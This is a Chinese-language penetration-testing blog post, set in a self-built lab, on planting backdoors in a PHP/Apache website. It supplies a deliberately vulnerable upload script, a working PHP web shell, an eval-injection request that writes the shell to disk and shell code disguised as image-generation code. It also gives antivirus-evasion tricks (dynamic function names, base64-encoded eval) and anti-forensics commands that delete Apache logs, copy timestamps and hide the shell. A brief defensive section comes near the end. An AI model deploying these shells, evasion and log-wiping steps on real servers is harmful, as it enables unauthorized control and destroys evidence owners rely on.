0x01 为什么后门是攻击者的最爱?

在一次模拟渗透测试中,我的目标是一家中小型企业的网站,它运行在 PHP 环境上,使用 Apache 作为 Web 服务器,数据库是 MySQL。网站功能比较简单,主要用于展示企业信息和客户咨询。这样的架构很常见,安全防护却相对薄弱。

黑客示意图

作为攻击者,网站后门的价值在于 持久化控制后续利用。一旦我成功植入后门,就无需再重复执行复杂的漏洞攻击,可以直接通过后门来远程操控服务器。后门不仅能让攻击者随时访问目标,还能帮助隐匿攻击痕迹、绕过防御措施。

后门的植入点有很多,比如:

  • 文件上传功能:通过上传一个伪装成图片的后门文件。
  • 代码注入漏洞:利用 RCE(远程代码执行)直接写入后门脚本。
  • 数据库操作:通过 SQL 注入将后门写入可执行文件路径或数据库字段。
  • 第三方插件:篡改或替换网站的插件文件。

在接下来的内容中,我会分享如何从网站漏洞中植入后门,以及后门的免杀和隐蔽技巧。

黑客示意图

---

0x02 实战环境搭建:模拟攻击场景

为了复现后门植入的全过程,我搭建了一个模拟环境,目标是一个运行在本地的 PHP 网站,架构如下:

  • 操作系统:Ubuntu 20.04
  • Web服务器:Apache 2.4
  • 数据库:MySQL 8
  • 网站代码:一个简单的 CMS,支持文件上传和用户留言功能

环境配置步骤

  1. 安装 Web 服务
  2. <pre><code class="language-bash"> sudo apt update sudo apt install apache2 php libapache2-mod-php mysql-server `

  1. 下载 CMS 模板
  2. 我使用了一个开源的 PHP CMS,可以通过以下命令下载安装: `bash wget https://example.com/simplecms.zip unzip simplecms.zip -d /var/www/html/ `

  1. 配置文件上传漏洞
  2. 为了模拟实际环境中的漏洞,我故意修改了上传功能的代码,允许上传任意文件类型: `php // upload.php if (isset($_FILES[&#039;file&#039;])) { $target_dir = &quot;uploads/&quot;; $target_file = $target_dir . basename($_FILES[&quot;file&quot;][&quot;name&quot;]);

// 没有对文件类型进行严格检查 if (move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $target_file)) { echo &quot;File uploaded successfully.&quot;; } else { echo &quot;Error uploading file.&quot;; } } `

  1. 启动服务
  2. `bash sudo systemctl restart apache2 `

  1. 验证漏洞
  2. 通过上传一个带有恶意代码的 .php 文件,确认目标环境允许执行恶意文件。

---

0x03 后门植入实战:文件上传与代码注入

黑客示意图

后门的植入方式有很多种,本次重点演示如何利用文件上传漏洞和代码注入漏洞来完成攻击。

文件上传方式植入后门

目标网站的上传功能没有严格检查文件后缀,我可以直接上传一个伪装成图片的 PHP 后门文件,比如 shell.php:</code></pre>php <?php // 简单的 PHP 后门,执行命令并返回结果 if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code> 上传后,我通过浏览器直接访问:</code></pre> http://target-site/uploads/shell.php?cmd=whoami <pre><code>此时,我可以看到服务器返回了当前用户信息,比如 www-data

代码注入方式植入后门

如果目标网站存在 RCE 漏洞,我可以通过命令注入直接写入后门代码到服务器文件。例如,假设目标存在以下漏洞:</code></pre>php // vulnerable.php $cmd = $_GET['cmd']; eval($cmd); <pre><code>我可以通过以下请求直接写入后门:</code></pre> http://target-site/vulnerable.php?cmd=file_put_contents('uploads/shell.php', '<?php echo shell_exec($_GET["cmd"]); ?>') <pre><code> 这样后门文件 shell.php 就会被写入到目标目录,接下来只需访问该文件即可完成控制。

---

0x04 Payload 构造的艺术:隐蔽与绕过

一个好的后门不仅能正常工作,还必须足够隐蔽以避免被发现。我通常会采取以下策略:

隐藏后门代码

将后门代码伪装成正常的业务代码。例如,把后门嵌入到某个图片生成脚本中:</code></pre>php <?php function generate_image($width, $height) { // 图片生成代码... } // 伪装的后门代码 if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code>

免杀技术:绕过安全检测

常见的后门如 shell_exec 很容易被安全工具检测,我会尝试以下几种绕过方法:

  1. 使用动态函数调用:
  2. `php $func = &#039;shell&#039; . &#039;_exec&#039;; echo $func($_GET[&#039;cmd&#039;]); `

  1. 使用编码绕过:
  2. 将后门代码进行 Base64 编码存储,运行时再解码执行: `php $payload = base64_decode(&#039;c2hlbGxfZXhlYygkX0dFVFsibWQiXSk7&#039;); eval($payload); `

流量伪装

后门的流量容易被防火墙捕捉,我会将命令用 HTTP 请求中的图片参数伪装:</code></pre> http://target-site/uploads/shell.php?img=cmd=ls <pre><code> ---

0x05 痕迹清除:防止后门被发现

植入后门后的关键环节是清除痕迹。以下是我的常用技巧:

删除日志记录

目标服务器通常会记录访问日志,我会通过后门执行以下命令清理日志文件:</code></pre>bash rm -rf /var/log/apache2/access.log /var/log/apache2/error.log <pre><code>

修改文件时间戳

通过 touch 命令,将后门文件的时间戳修改为与其他文件一致:</code></pre>bash touch -r index.php uploads/shell.php <pre><code> 黑客示意图

隐藏后门文件

将后门文件移动到不容易被发现的目录,比如 .config.cache:</code></pre>bash mv uploads/shell.php /var/www/html/.config/shell.php `

---

0x06 检测与防御:如何发现植入后门?

虽然后门能提供攻击者便利,但也有方法可以检测和防御。我总结了以下几种方式:

  1. 文件完整性检查
  2. 使用工具(如 Tripwire)定期检查服务器上的文件是否被篡改。

  1. 日志分析
  2. 通过分析日志文件,寻找可疑的文件访问记录。

  1. WAF(Web应用防火墙)
  2. 部署 WAF,可以有效过滤恶意流量。

  1. 禁用危险函数
  2. 在 PHP 配置中禁用 evalshell_exec 等危险函数。

---

0x07 个人实战经验总结

后门植入是红队的一项核心技能,但也是最容易被发现的风险点。我的经验是:

  • 伪装优先:后门代码一定要足够隐蔽,避免被管理员和工具轻易识别。
  • 免杀技巧:绕过安全检测是关键,动态函数调用和编码方式是常用手段。
  • 痕迹清除:每次植入后门后,一定要清理日志并修改时间戳,让后门文件看起来更像正常文件。

总之,后门植入不仅是一项技术,更是一门艺术。希望这篇文章能带给你一些新的思路。